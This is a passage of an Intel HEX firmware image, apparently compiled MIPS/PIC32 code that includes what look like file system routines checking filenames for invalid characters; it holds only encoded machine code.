2411006214ab\n:10fa5000000000002400c28f0000428c1400c48ffc\n:10fa600021284000f8ff063421380000c64a400f24\n:10fa70000000000021184000ffff0234150062144e\n:10fa800000000000090002241000c2afb53e400b88\n:10fa9000000000002400c28f0000428c1400c48fbc\n:10faa00021284000ff0f023cf8ff463421380000b7\n:10fab000c64a400f0000000021184000ff0f023c22\n:10fac000ffff42340300621400000000090002241a\n:10fad0001000c2af1000c28f0800401400000000e8\n:10fae0002400c28f0000428c1400c48f21284000e3\n:10faf000c63e400f000000001000c2af1000c28fd1\n:10fb000021e8c0031c00bf8f1800be8f2000bd2756\n:10fb10000800e00300000000d8ffbd272400bfafad\n:10fb20002000beaf21f0a0032800c4af2c00c5af59\n:10fb30001800c0a32800c48f2c00c58f6d3f400f54\n:10fb4000000000001400c2af4480829308004010ff\n:10fb5000000000003241400f00000000040040108f\n:10fb60000000000009000224123f400b00000000ca\n:10fb7000408080af46808293100040140000000057\n:10fb80002800c28f03004388000043982800c28fda\n:10fb90001d004488212880001a0045982110a000eb\n:10fba0002120600021280000213040006551410fd4\n:10fbb0000000000001000224468082a31000c0a3c0\n:10fbc000083f400b000000001400c38f01006224b6\n:10fbd0001400c2af2800c28f03004488212880008f\n:10fbe000000045982110a00021206000212840003d\n:10fbf00021300000b6d8400f00000000211840005e\n:10fc00000100022403006210000000000900022429\n:10fc10001800c2a31000c293010042241000c2a326\n:10fc20002800c28f230042901000c3932b10620063\n:10fc300004004010000000001800c293e2ff4010d2\n:10fc4000000000001800c29321e8c0032400bf8f09\n:10fc50002000be8f2800bd270800e0030000000040\n:10fc6000f8ffbd270400beaf21f0a0030800c4af19\n:10fc70002110a0000c00c2a70c00c2970800c38f7f\n:10fc8000211062000000429021e8c0030400be8ff2\n:10fc90000800bd270800e00300000000f0ffbd27ba\n:10fca0000c00beaf21f0a0031000c4af2110a000d3\n:10fcb0001400c2a71400c2971000c38f2110620065\n:10fcc000000042900000c2a31400c2970100422429\n:10fcd0001000c38f21106200000042900100c2a3f7\n:10fce0000100c2930200c2a70200c29700120200e4\n:10fcf0000200c2a70000c293ffff43300200c29778\n:10fd0000251062000200c2a70200c29721e8c003ca\n:10fd10000c00be8f1000bd270800e00300000000ab\n:10fd2000e0ffbd271c00bfaf1800beaf21f0a0034d\n:10fd30002000c4af2110a0002400c2a72400c29755\n:10fd40002000c48f21284000273f400f0000000002\n:10fd50001000c2a72400c29702004224ffff4230d5\n:10fd60002000c48f21284000273f400f00000000e2\n:10fd70001200c2a71200c2971400c2af1400c28fb3\n:10fd8000001402001400c2af1000c2971400c38f09\n:10fd9000251062001400c2af1400c28f21e8c00316\n:10fda0001c00bf8f1800be8f2000bd270800e00395\n:10fdb00000000000f0ffbd270c00beaf21f0a00343\n:10fdc0001000c4af1400c5af1000c28f24004290d1\n:10fdd00021184000030002241000621400000000fb\n:10fde0001400c28ffeff43241000c28f23004290f4\n:10fdf000180062001000c28f1300438821206000a9\n:10fe00001000449821108000121800002110620098\n:10fe10000000c2afa43f400b000000001400c28fde\n:10fe200005004010000000001400c38f01000224f0\n:10fe300009006214000000001000c28f0f00438808\n:10fe40000c0043981400c28f211062000000c2af62\n:10fe5000a33f400b000000001400c28ffeff4324ac\n:10fe60001000c28f23004290180062001000c28f61\n:10fe70001300438821206000100044982110800066\n:10fe800012180000211062000000c2af0000000044\n:10fe90000000c28f21e8c0030c00be8f1000bd27f8\n:10fea0000800e00300000000e0ffbd271c00bfaf1a\n:10feb0001800beaf21f0a0032000c4af2110a000a5\n:10fec0002400c2a3388180a32400c393d8ff022456\n:10fed0002410620006004010000000001f000224f1\n:10fee000388182a3ffff0224f93f400b000000008d\n:10fef0002000c28f360042941400c2a72000c28f97\n:10ff00003c00438c2000c28f400043ac1400c22749\n:10ff10002000c48f212840009139400f00000000cc\n:10ff20001000c2af1000c28f060040140000000095\n:10ff30001b000224388182a3ffff0224f93f400bfb\n:10ff4000000000001000c28f0b00429008004230f9\n:10ff500006004010000000001f000224388182a328\n:10ff6000ffff0224f93f400b000000002000c28f79\n:10ff70003a00429410004230090040100000000096\n:10ff80002400c29310004234ff0042302118400088\n:10ff90002000c28f3a0043a4ec3f400b0000000059\n:10ffa0002400c293ffff43302000c28f3a0043a4d5\n:10ffb0001400c2272000c48f21284000182f400fb2\n:10ffc00000000000060040140000000009000224a8\n:10ffd000388182a3ffff0224f93f400b000000009c\n:10ffe0002110000021e8c0031c00bf8f1800be8f45\n:10fff0002000bd270800e00300000000c0ffbd276f\n:020000041d01dc\n:100000003c00bfaf3800beaf21f0a0034000c4af3a\n:100010004400c5af4800c6af4c00c7af4400c38f13\n:100020004800c28f18006200121000001000c2af1a\n:100030004000c28f1400c2af1800c0af2800c0a794\n:100040004c00c28f1800428c01004230080040145e\n:10005000000000001d000224388182a30900022450\n:100060001800c2af211000002c41400b000000001e\n:100070001000c28f04004014000000002110000096\n:100080002c41400b00000000f4d8400f000000009d\n:10009000080040100000000018000224388182a3ec\n:1000a000180002241800c2af211000002c41400ba0\n:1000b00000000000468080a34c00c28f0000428cec\n:1000c0002c00c2af4c00c28f0e0042941c00c2a78d\n:1000d0004c00c28f1000428c2000c2af4c00c28f77\n:1000e0000800428c2c00c48f212840006d3f400f37\n:1000f000000000003000c2af4c00c28f0c004294e0\n:100100003000c38f211062003000c2af4080838f67\n:100110004c00c28f0f0062100000000044808293e8\n:100120000a004010000000003241400f00000000b3\n:10013000060040100000000009000224388182a35c\n:10014000211000002c41400b000000004c00c28f29\n:10015000408082af0880838f3000c28f1f00621002\n:1001600000000000448082930a004010000000005c\n:100170003241400f00000000060040100000000067\n:1001800009000224388182a3211000002c41400b79\n:1001900000000000468080a32c00c28f030043882b\n:1001a0002120600000004498211080003000c48f9e\n:1001b0002128400001d6400f000000000500401437\n:1001c000000000001b000224388182a308000224e2\n:1001d0001800c2af3000c28f088082af4c00c28fbf\n:1001e0001400428c2400c2af1741400b00000000f5\n:1001f0002000c38f2400c28f06006214000000009c\n:100200004c00c38f18006290010004248410827c8b\n:10021000180062a01c00c3972c00c28f1d004488e8\n:10022000212880001a0045982110a0006700621460\n:1002300000000000010002242a00c2a3448082932f\n:100240000a004010000000003241400f0000000092\n:10025000060040100000000009000224388182a33b\n:10026000211000002c41400b000000001c00c0a722\n:100270004c00c28f0c00429401004224ffff433027\n:100280004c00c28f0c0043a44c00c28f0c0043945e\n:100290002c00c28f23004290150062140000000061\n:1002a0004c00c28f0c0040a44c00c28f1800428c3e\n:1002b0000400423009004010000000004c00c48fd0\n:1002c000212800002f37400f000000001800c2afa7\n:1002d0002a00c0a3bc40400b000000004c00c48fab\n:1002e000010005244723400f000000001800c2afa2\n:1002f0001800c38f150002240600621400000000dd\n:1003000015000224388182a3211000002c41400beb\n:10031000000000001800c28f2c00401400000000f4\n:100320004c00c28f0800428c2c00c48f2128400052\n:100330006d3f400f000000003000c2af4c00c28f84\n:100340000c0042943000c38f211062003000c2af15\n:100350004c00c28f408082af2a00c2931900401027\n:10036000000000002c00c28f0300438821206000a1\n:1003700000004498211080003000c48f21284000e4\n:1003800001d6400f000000000a00401400000000e9\n:100390001b000224388182a3080002241800c2af87\n:1003a000ffff0224088082af211000002c41400b87\n:1003b000000000003000c28f088082aff340400b85\n:1003c000000000003000c28f088082af1800c28f8a\n:1003d00022004014000000002c00c28f030043885c\n:1003e000000043981c00c297010044241c00c4a7cd\n:1003f000211062001400c38f00006380ff0063308f\n:10040000000043a01400c28f010042241400c2afb8\n:100410002000c28f010042242000c2af1000c28f12\n:10042000ffff42241000c2af2800c29701004224ff\n:100430002800c2a74c00c28f1800428c0400423032\n:1004400004004010000000002400c28f010042247c\n:100450002400c2af01000224448082a31800c28f8e\n:1004600004004014000000001000c28f60ff401420\n:10047000000000004c00c28f1c00c3970e0043a474\n:100480004c00c28f2000c38f100043ac4c00c28fc1\n:100490002400c38f140043ac2800c3974400c28fcc\n:1004a0001b006200f4014000101000001210000058\n:1004b00021e8c0033c00bf8f3800be8f4000bd273d\n:1004c0000800e00300000000d8ffbd272400bfaff4\n:1004d0002000beaf21f0a0034080828f1000c2af89\n:1004e0001000c28f0000428c1400c2af1000c28ff7\n:1004f0000800428c1400c48f212840006d3f400f3b\n:10050000000000001800c2af1000c28f0c0042941f\n:100510001800c38f211062001800c2af1400c28ff0\n:1005200003004388212060000000449821108000cf\n:100530001800c48f2128400021300000b6d8400f99\n:100540000000000004004014000000000900022424\n:100550005841400b00000000448080a3211000009f\n:1005600021e8c0032400bf8f2000be8f2800bd27d4\n:100570000800e00300000000f8ffbd270400beaf44\n:1005800021f0a0030800c4af388180a30800c28f07\n:100590001000438c0800c28f1400428c26106200a9\n:1005a0000100422cff00423021e8c0030400be8f4e\n:1005b0000800bd270800e00300000000c8ffbd27b9\n:1005c0003400bfaf3000beaf21f0a0033800c4af8d\n:1005d0003c00c5af4000c6af4400c7af3c00c38f6e\n:1005e0004000c28f18006200121000001000c2af5d\n:1005f0003800c28f1400c2af2000c0af1e00c0a7d9\n:10060000388180a34400c28f0000428c2400c2af16\n:100610004400c28f0e0042941c00c2a74400c28f47\n:100620001000428c1800c2af4400c28f1800428ce8\n:100630000200423006004014000000001e000224a8\n:10064000388182a3211000004842400b00000000c6\n:10065000448082930a004010000000003241400fa5\n:100660000000000006004010000000000900022405\n:10067000388182a3211000004842400b0000000096\n:100680004080838f4400c28f2e0062100000000063\n:100690001c00c3972400c28f1d00448821288000bd\n:1006a0001a0045982110a0002600621000000000ea\n:1006b0004400c28f408082af4400c28f0800428c49\n:1006c0002400c48f212840006d3f400f000000002f\n:1006d0002800c2af4400c28f0c0042942800c38f90\n:1006e000211062002800c2af468080a32400c28f80\n:1006f00003004388212060000000449821108000fe\n:100700002800c48f2128400001d6400f00000000bf\n:10071000080040140000000008000224388182a371\n:10072000080002242000c2af211000004842400b04\n:10073000000000002800c28f088082af3942400bc1\n:10074000000000003942400b000000004400c28f4e\n:100750001400438c1800c28f0700621400000000d0\n:100760003d000224388182a33d0002242000c2af54\n:100770003c42400b000000001c00c3972400c28fc5\n:100780001d004488212880001a0045982110a000ef\n:100790003e006214000000001c00c0a74400c28f8d\n:1007a0000c00429401004224ffff43304400c28ffa\n:1007b0000c0043a44400c28f0c0043942400c28f59\n:1007c000230042900f006214000000004400c28f1a\n:1007d0000c0040a44400c48f010005244723400faf\n:1007e000000000002000c2af2000c28f05004010b2\n:1007f000000000000f000224388182a33c42400b1d\n:10080000000000004400c28f0800428c2400c48f06\n:10081000212840006d3f400f000000002800c2afbb\n:100820004400c28f0c0042942800c38f2110620044\n:100830002800c2af4400c28f408082af468080a3b0\n:100840002400c28f030043882120600000004498e8\n:10085000211080002800c48f2128400001d6400fbd\n:1008600000000000070040140000000008000224ff\n:10087000388182a3080002242000c2af3c42400b12\n:10088000000000002800c28f088082af2400c28fc1\n:1008900003004388000043981c00c29701004424d1\n:1008a0001c00c4a721106200000043901400c28ff6\n:1008b000000043a01400c28f010042241400c2af04\n:1008c0001800c28f010042241800c2af1e00c29758\n:1008d000010042241e00c2a71000c28fffff422465\n:1008e0001000c2af1000c28f98ff4014000000003b\n:1008f0004400c28f1c00c3970e0043a44400c28f63\n:100900001800c38f100043ac1e00c3973c00c28f79\n:100910001b006200f40140001010000012100000e3\n:1009200021e8c0033400bf8f3000be8f3800bd27e0\n:100930000800e00300000000c0fdbd273c02bfaf7f\n:100940003802beaf21f0a0034002c4af4402c5afdd\n:100950002110c0004802c2a32800c0af2c00c0afc5\n:10096000010002243000c2af000102241800c2af0f\n:100970004880828f3d004010000000004002c28f7e\n:10098000208182af148180a76842400b00000000e4\n:100990001481829701004224ffff4230148182a714\n:1009a0002081838f14818297401002002110620001\n:1009b00000004294f6ff401400000000148182976a\n:1009c000211840001800c28f2a1043000a0040146a\n:1009d000000000002081828f000043942e0002243a\n:1009e00005006210000000002081828f0000429408\n:1009f0000400401400000000211000007044400b6f\n:100a0000000000001800c0af9142400b0000000041\n:100a10002081838f1800c28f4010020021106200d5\n:100a2000000043941800c28f401002001000c42739\n:100a300021108200280043a41800c28f0100422424\n:100a40001800c2af14818297211840001800c28f8d\n:100a50002a104300eeff4014000000003800c227b7\n:100a6000208182afc842400b000000004002c48fca\n:100a7000a34a410f00000000ffff4230148182a70b\n:100a800014818297211840001800c28f2a10430059\n:100a90000a004014000000004002c28f00004380a2\n:100aa0002e00022405006210000000004002c28fe8\n:100ab00000004280040040140000000021100000eb\n:100ac0007044400b000000003800c227188182af3c\n:100ad0001800c0afc242400b000000001881838f95\n:100ae0001800c28f211062001800c38f4002c48f0b\n:100af0002118830000006380000043a01800c28f0b\n:100b0000010042241800c2af1481829721184000ce\n:100b10001800c28f2a104300f0ff401400000000ac\n:100b20004802c29321204000f846400f0000000018\n:100b30001000c2af1000c38f07000224040062142b\n:100b400000000000211000007044400b0000000075\n:100b5000148182971400c2af4402c28f01000324a3\n:100b60002c0043ac4402c28f340040a41000c38f59\n:100b700001000224030062140000000001000224ae\n:100b80002800c2af1000c38f02000224410062148b\n:100b9000000000002000c0aff942400b0000000040\n:100ba0002081838f2000c28f40100200211062003c\n:100bb000000042940001422c070040140000000095\n:100bc000050002241000c2af010002242800c2afb9\n:100bd000fe42400b000000002000c28f01004224b2\n:100be0002000c2af2000c38f1400c28f2a10620001\n:100bf000ebff4014000000002000c38f1400c28fe0\n:100c00002400621400000000030002241000c2afa0\n:100c10002000c0af2043400b000000002081838fe4\n:100c20002000c28f40100200211062000000429498\n:100c30006100422c0f004014000000002081838fcf\n:100c40002000c28f40100200211062000000429478\n:100c50007b00422c0700401000000000040002242a\n:100c60001000c2af010002242800c2af2543400b90\n:100c7000000000002000c28f010042242000c2af0b\n:100c80002000c38f1400c28f2a106200e3ff4014bb\n:100c9000000000001000c38f06000224f400621060\n:100ca000000000002800c28ff10040140000000086\n:100cb0002000c0af7343400b000000004880828fcb\n:100cc00021004010000000002081838f2000c28f8f\n:100cd0004010020021106200000043942e00022404\n:100ce00007006214000000001400c38f2000c28fb0\n:100cf000231062000500422805004010000000009b\n:100d00002000c28f090042280500401400000000a6\n:100d1000010002242800c2af7843400b000000000d\n:100d20002081838f2000c28f4010020021106200ba\n:100d3000000043942e0002242100621400000000f1\n:100d40007843400b000000001881838f2000c28f81\n:100d500021106200000043802e000224070062146c\n:100d6000000000001400c38f2000c28f2310620017\n:100d70000500422805004010000000002000c28f3e\n:100d80000900422805004014000000000100022470\n:100d90002800c2af7843400b000000001881838f09\n:100da0002000c28f21106200000043802e00022428\n:100db00003006214000000007843400b00000000b4\n:100dc0002000c28f010042242000c2af2000c38f48\n:100dd0001400c28f2a106200b8ff40140000000007\n:100de0002800c28fa2004014000000004402c28ffd\n:100df000200042243400c2af1800c0af8943400b2a\n:100e0000000000001800c28f3400c38f2110620060\n:100e100020000324000043a01800c28f01004224d8\n:100e20001800c2af1800c28f0b004228f5ff401413\n:100e3000000000004880828f0b004010000000007e\n:100e40002000c28f401002002400c2af1400c28fe5\n:100e5000401002001400c2af2081828f2c00c2af6c\n:100e60009e43400b000000002000c28f2400c2af50\n:100e70001881828f2c00c2af1800c0af1c00c0af19\n:100e8000d043400b000000001800c28f2c00c38f1d\n:100e90002110620000004280260040100000000087\n:100ea0001c00c28f3400c38f211062001800c38f52\n:100eb0002c00c48f2118830000006380000043a031\n:100ec0001c00c28f3400c38f2110620000004280da\n:100ed0006100422814004014000000001c00c28f72\n:100ee0003400c38f21106200000042807b00422842\n:100ef0000d004010000000001c00c28f3400c38fa2\n:100f0000211062001c00c38f3400c48f211883009d\n:100f100000006380ff006330e0ff6324ff00633064\n:100f2000201c037c000043a01c00c28f010042244f\n:100f30001c00c2af1800c28f010042241800c2afcb\n:100f40001c00c28f0800422806004010000000006c\n:100f50001800c38f2400c28f2a106200caff4014f9\n:100f6000000000002400c38f1400c28f2a1062000a\n:100f70003f004010000000002400c28f0100422406\n:100f80002400c2af080002242000c2af1344400b6b\n:100f9000000000002400c28f2c00c38f21106200cb\n:100fa0000000428026004010000000002000c28f98\n:100fb0003400c38f211062002400c38f2c00c48f23\n:100fc0002118830000006380000043a02000c28f2e\n:100fd0003400c38f2110620000004280610042286b\n:100fe00014004014000000002000c28f3400c38fa2\n:100ff00021106200000042807b0042280d0040105a\n:10100000000000002000c28f3400c38f2110620056\n:101010002000c38f3400c48f211883000000638038\n:10102000ff006330e0ff6324ff006330201c037c7b\n:10103000000043a02000c28f010042242000c2af64\n:101040002400c28f010042242400c2af2000c28fbe\n:101050000b00422806004010000000002400c38f4f\n:101060001400c28f2a106200caff40140000000062\n:101070001000c38f0600022405006210000000006b\n:101080002800c38f010002244c00621400000000fd\n:101090004402c28f3000428c3400c2af4880828f3d\n:1010a00003004014000000001881828f2c00c2afa2\n:1010b0001c00c0af1800c0af6144400b000000002e\n:1010c0004880828f1c004010000000004402c28f44\n:1010d0003000438c1800c28f4010020021106200c3\n:1010e0002081848f1800c38f4018030021188300cb\n:1010f00000006394000043a43000c28f1e00401023\n:10110000000000002081838f1800c28f4010020071\n:1011100021106200000042940001422c160040148d\n:10112000000000004402c28f2c0040ac3000c0af71\n:101130005e44400b000000001c00c28f01004324ed\n:101140001c00c3af3400c38f211062001800c38f8e\n:101150002c00c48f2118830000006380000043a08e\n:101160001c00c28f010043241c00c3af3400c38f96\n:1011700021106200000040a01800c28f010042242c\n:101180001800c2af1800c38f1400c28f2a1062006b\n:10119000cbff4014000000004402c28f3000438c9b\n:1011a0001800c28f4010020021106200000040a40d\n:1011b000148183974402c28f340043a401000224a7\n:1011c00021e8c0033c02bf8f3802be8f4002bd271a\n:1011d0000800e0030000000090ffbd276c00bfafd7\n:1011e0006800beaf6400b7af6000b6af5c00b5afdb\n:1011f0005800b4af5400b3af5000b2af4c00b1af21\n:101200004800b0af21f0a0037000c4af7400c5afb8\n:101210002110c0007800c2a31c00c0af010002244e\n:101220002800c2af000102241400c2af4880828fa0\n:1012300013004010000000007000c28f208182afb8\n:10124000148180a79744400b00000000148182970e\n:1012500001004224ffff4230148182a72081838f46\n:101260001481829740100200211062000000429415\n:10127000f6ff401400000000a744400b00000000ef\n:101280007000c28f188182af7000c48fa34a410fd3\n:1012900000000000ffff4230148182a71481829772\n:1012a000211840001400c28f2a104300040040108f\n:1012b0000000000021100000ea46400b0000000082\n:1012c0007800c29321204000f846400f0000000043\n:1012d0001000c2af1000c38f070002240400621484\n:1012e0000000000021100000ea46400b0000000052\n:1012f000148182972c00c2af7400c28f01000324b6\n:101300002c0043ac7400c28f340040a41000c38f83\n:101310000100022403006214000000000100022406\n:101320001c00c2af1000c38f0200022441006214ef\n:10133000000000002000c0afe144400b00000000ae\n:101340002081838f2000c28f401002002110620094\n:10135000000042940001422c0700401400000000ed\n:10136000050002241000c2af010002241c00c2af1d\n:10137000e644400b000000002000c28f0100422420\n:101380002000c2af2000c38f2c00c28f2a10620041\n:10139000ebff4014000000002000c38f2c00c28f20\n:1013a0002400621400000000030002241000c2aff9\n:1013b0002000c0af0845400b000000002081838f53\n:1013c0002000c28f401002002110620000004294f1\n:1013d0006100422c0f004014000000002081838f28\n:1013e0002000c28f401002002110620000004294d1\n:1013f0007b00422c07004010000000000400022483\n:101400001000c2af010002241c00c2af0d45400b0a\n:10141000000000002000c28f010042242000c2af63\n:101420002000c38f2c00c28f2a106200e3ff4014fb\n:10143000000000001000c38f0600022405006210a7\n:10144000000000001c00c38f01000224b4006214dd\n:10145000000000007400c28f7000c38f300043ace6\n:101460004880828f4f004010000000002081838f51\n:101470007000c28f2d006210000000001400c0af89\n:101480003e45400b000000007400c28f3000438cca\n:101490001400c28f40100200211062002081848f4e\n:1014a0001400c38f401803002118830000006394c8\n:1014b000000043a42800c28f0c0040100000000070\n:1014c0002081838f1400c28f40100200211062001f\n:1014d000000042940001422c04004014000000006f\n:1014e0007400c28f2c0040ac2800c0af1400c28f23\n:1014f000010042241400c2af1400c38f2c00c28f1d\n:101500002a106200e0ff4014000000007400c28f47\n:101510003000438c1400c28f401002002110620082\n:10152000000040a4c345400b000000001400c0af01\n:101530006245400b000000002800c28f0f004010e1\n:10154000000000002081838f1400c28f4010020031\n:1015500021106200000042940001422c0700401458\n:10156000000000007400c28f2c0040ac2800c0af07\n:1015700000000000c345400b000000001400c28fb3\n:10158000010042241400c2af1400c38f2c00c28f8c\n:101590002a106200e8ff401400000000c345400b21\n:1015a000000000002110a003211840002c00c28f71\n:1015b00001004224ffff44243400c4af2120400036\n:1015c00021908000219800000227120000b913002a\n:1015d00025b8970000b11200212040002180800032\n:1015e000218800000227100000a9110025a89500fd\n:1015f00000a1100040100200010042240700422414\n:10160000c2100200c010020023e8a2031000a227ab\n:101610000100422442100200401002003800c2af14\n:101620003800c28f3000c2af1800c0af1400c0af86\n:10163000a145400b000000001800c28f01004424a7\n:101640001800c4af3000c48f211082001881858f2c\n:101650001400c48f2120a40000008480000044a056\n:101660001800c28f010044241800c4af3000c48f9a\n:1016700021108200000040a01400c28f010042240b\n:101680001400c2af1400c48f2c00c28f2a10820035\n:10169000e9ff4014000000001400c0afb745400b44\n:1016a000000000007400c28f3000448c1400c28f10\n:1016b00040100200211082003800c58f1400c48f32\n:1016c000402004002120a40000008494000044a4d1\n:1016d0001400c28f010042241400c2af1400c48f52\n:1016e0002c00c28f2a108200eeff40140000000080\n:1016f0007400c28f3000448c1400c28f401002006e\n:1017000021108200000040a421e86000148183972a\n:101710007400c28f340043a4e946400b000000006f\n:101720004880828f8d004010000000002081828f51\n:101730003000c2af2400c0af2000c0af0746400b4e\n:10174000000000002000c28f401002001400c2af51\n:101750001400c28f3000c38f21106200000042804d\n:1017600012004010000000001400c28f3000c38f30\n:1017700021106200000043802400c28f1000c427a3\n:10178000211082002c0043a02400c28f01004224bb\n:101790002400c2af2400c38f080002240300621497\n:1017a000000000001b46400b000000001400c28f28\n:1017b000010042243000c38f2110620000004280eb\n:1017c00013004010000000001400c28f01004224ea\n:1017d0003000c38f21106200000043802400c28fbc\n:1017e0001000c427211082002c0043a02400c28fc7\n:1017f000010042242400c2af2400c38f0800022449\n:1018000003006214000000001b46400b00000000b3\n:101810002000c28f010042242000c2af2000c38fed\n:101820002c00c28f2a10620010004010000000003f\n:101830002081838f2000c28f40100200211062009f\n:10184000000043942e0002240800621000000000f3\n:101850002081838f2000c28f40100200211062007f\n:1018600000004294b7ff4014000000002446400be3\n:10187000000000002400c28f010043242400c3aff5\n:101880001000c32721106200200003242c0043a075\n:101890002400c28f08004228f6ff40140000000018\n:1018a0002081838f2000c28f40100200211062002f\n:1018b000000043942e000224240062140000000063\n:1018c0002000c28f01004224401002001400c2af69\n:1018d0004d46400b000000002000c28f3000c38f37\n:1018e0002110620000004280120040100000000041\n:1018f0002000c28f3000c38f21106200000043809f\n:101900002400c28f1000c427211082002c0043a0a5\n:101910002400c28f010042242400c2af2400c38fe0\n:101920000b00022403006214000000005346400b29\n:10193000000000001400c28f3000c38f211062002d\n:1019400000004280e4ff4014000000002400c28f29\n:101950001400c2afa746400b000000001400c0af47\n:101960006546400b000000001881838f1400c28f71\n:1019700021106200000043801400c28f1000c427b1\n:10198000211082002c0043a01400c28f01004224c9\n:101990001400c2af1400c28f080042280e0040108d\n:1019a000000000001881838f1400c28f2110620094\n:1019b000000043802e000224070062100000000097\n:1019c0001881838f1400c28f2110620000004280b2\n:1019d000e5ff4014000000001400c28f1800c2afe1\n:1019e0008146400b000000001400c28f0100432418\n:1019f0001400c3af1000c32721106200200003248d\n:101a00002c0043a01400c28f08004228f6ff4014a7\n:101a1000000000001881838f1800c28f211062001f\n:101a2000000043802e0002241c006214000000000d\n:101a30001800c28f010042241800c2af9d46400b1f\n:101a4000000000001400c28f010043241400c3af43\n:101a50001881848f1800c38f010065241800c5af5a\n:101a600021188300000063801000c4272110820029\n:101a70002c0043a01881838f1800c28f21106200b0\n:101a80000000428005004010000000001400c28fda\n:101a90000b004228ebff401400000000b046400b52\n:101aa000000000001400c28f010043241400c3afe3\n:101ab0001000c32721106200200003242c0043a043\n:101ac0001400c28f0b004228f6ff401400000000f3\n:101ad0003c00c383200002240300621400000000c5\n:101ae0005f0002243c00c2a37400c28f2000422485\n:101af0003000c2af1400c0afe546400b000000004c\n:101b00001400c28f3000c38f211062001400c38ff5\n:101b10001000c427211883002c006380000043a01c\n:101b20001400c28f1000c327211062002c004280d5\n:101b30006100422814004014000000001400c28f0d\n:101b40001000c327211062002c0042807b00422835\n:101b50000d004010000000001400c28f3000c38f41\n:101b6000211062001400c38f3000c48f211883003d\n:101b700000006380ff006330e0ff6324ff006330f8\n:101b8000201c037c000043a01400c28f01004224eb\n:101b90001400c2af1400c28f0b004228d8ff4014bb\n:101ba000000000000100022421e8c0036c00bf8f88\n:101bb0006800be8f6400b78f6000b68f5c00b58f81\n:101bc0005800b48f5400b38f5000b28f4c00b18fc7\n:101bd0004800b08f7000bd270800e003000000003f\n:101be000e0ffbd271c00beaf21f0a0032110800044\n:101bf0002000c2a30c00c0a30400c0a73247400bc2\n:101c0000000000004880828f180040100000000093\n:101c10002081838f0400c2974010020021106200cf\n:101c20000000439420000224240062100000000001\n:101c30002081838f0400c2974010020021106200af\n:101c4000000043942e0002241c00621000000000db\n:101c50002081838f0400c29740100200211062008f\n:101c6000208182af3747400b000000001881838f2e\n:101c70000400c2972110620000004380200002246b\n:101c80000e006210000000001881838f0400c297cc\n:101c900021106200000043802e0002240700621021\n:101ca000000000001881838f0400c2972110620099\n:101cb000188182af3747400b000000000400c29734\n:101cc000010042240400c2a7148182970400c39734\n:101cd0002b106200cbff4014000000000600c0a7dc\n:101ce00014818297211840000400c29723106200db\n:101cf000ffff42240800c2af6b47400b000000000a\n:101d00004880828f13004010000000002081838fe4\n:101d10000800c28f401002002110620000004394ae\n:101d2000200002241b006210000000002081838f2d\n:101d30000800c28f4010020021106200000043948e\n:101d40002e00022413006210000000006e47400bba\n:101d5000000000001881838f0800c28f21106200ec\n:101d600000004380200002240a00621000000000ee\n:101d70001881838f0800c28f211062000000438009\n:101d80002e00022403006210000000006e47400b8a\n:101d9000000000000600c297010042240600c2a70e\n:101da0000800c28fffff42240800c2af0800c28fa4\n:101db000d3ff401c00000000148183970400c297e9\n:101dc00023106200ffff43300600c2972310620019\n:101dd000ffff4230148182a7148182970101422cb7\n:101de0000400401000000000148182970400401499\n:101df00000000000070002249548400b000000008e\n:101e00004880828f0e0040100000000014818297ed\n:101e10004010020019004228050040140000000094\n:101e2000060002240000c2af9947400b00000000ea\n:101e3000020002240000c2af9947400b00000000de\n:101e4000148182970d00422c050040140000000010\n:101e5000060002240000c2af9947400b00000000ba\n:101e60000000c0af0400c0a78f48400b0000000076\n:101e70004880828f74004010000000002081838f12\n:101e80000400c2974010020021106200000042943a\n:101e90000e00c2a70e00c2972000422c0500401081\n:101ea000000000000e00c397050002241d0062140c\n:101eb000000000000e00c3972200022419006210e7\n:101ec000000000000e00c3972f00022415006210ce\n:101ed000000000000e00c3973a00022411006210b7\n:101ee000000000000e00c3973c0002240d006210a9\n:101ef000000000000e00c3973e000224090062109b\n:101f0000000000000e00c3975c0002240500621070\n:101f1000000000000e00c3977c000224040062143d\n:101f200000000000070002249548400b000000005c\n:101f30002000c2930c004014000000000e00c39764\n:101f40002a00022405006210000000000e00c39762\n:101f50003f00022404006214000000000700022475\n:101f60009548400b000000000000c38f06000224cb\n:101f7000af006210000000000e00c3972000022492\n:101f800021006210000000000e00c3972b00022405\n:101f90001d006210000000000e00c3972c000224f8\n:101fa00019006210000000000e00c3973b000224dd\n:101fb00015006210000000000e00c3973d000224cf\n:101fc00011006210000000000e00c3975b000224a5\n:101fd0000d006210000000000e00c3975d00022497\n:101fe00009006210000000000e00c3972e000224ba\n:101ff00009006214000000000c00c39301000224d9\n:102000000500621400000000060002240000c2afb8\n:102010008c48400b000000002081838f0400c29791\n:102020004010020021106200000043942e000224a0\n:102030007f00621400000000010002240c00c2a313\n:102040008c48400b000000001881838f0400c29769\n:1020500021106200000042801000c2a31000c29351\n:102060002000422c05004010000000001000c39327\n:10207000050002241d006214000000001000c3933c\n:102080002200022419006210000000001000c39317\n:102090002f00022415006210000000001000c393fe\n:1020a0003a00022411006210000000001000c393e7\n:1020b0003c0002240d006210000000001000c393d9\n:1020c0003e00022409006210000000001000c393cb\n:1020d0005c00022405006210000000001000c393a1\n:1020e0007c000224040062140000000007000224a7\n:1020f0009548400b000000002000c2930c004014e3\n:10210000000000001000c3932a00022405006210a2\n:10211000000000001000c3933f000224040062147a\n:1021200000000000070002249548400b000000005a\n:102130000000c38f060002243d0062100000000072\n:102140001000c39320000224210062100000000050\n:102150001000c3932b0002241d0062100000000039\n:102160001000c3932c00022419006210000000002c\n:102170001000c3933b000224150062100000000011\n:102180001000c3933d000224110062100000000003\n:102190001000c3935b0002240d00621000000000d9\n:1021a0001000c3935d0002240900621000000000cb\n:1021b0001000c3932e0002240900621400000000e6\n:1021c0000c00c3930100022405006214000000000b\n:1021d000060002240000c2af8c48400b0000000043\n:1021e0001000c3932e0002240300621400000000bc\n:1021f000010002240c00c2a30000c38f01000224ce\n:102200000b006210000000001000c2936100422c1d\n:1022100007004014000000001000c2937b00422c15\n:102220000300401000000000010002240000c2afc3\n:102230000400c297010042240400c2a714818297bf\n:102240000400c3972b10620009ff40140000000037\n:102250000000c28f21e8c0031c00be8f2000bd27f4\n:102260000800e00300000000d0ffbd272c00bfaf36\n:102270002800beaf21f0a0033000c4af3400c5afca\n:102280003800c6af3400c28f1000c2af3000c28f1a\n:102290000000428c1400c2af3800c28f010003243a\n:1022a0000600431000000000020003240a0043104f\n:1022b00000000000bc48400b000000003000c28f4e\n:1022c0001000438c1000c28f211062001000c2afba\n:1022d000bc48400b000000003000c28f1400438c4b\n:1022e0001000c28f231062001000c2af000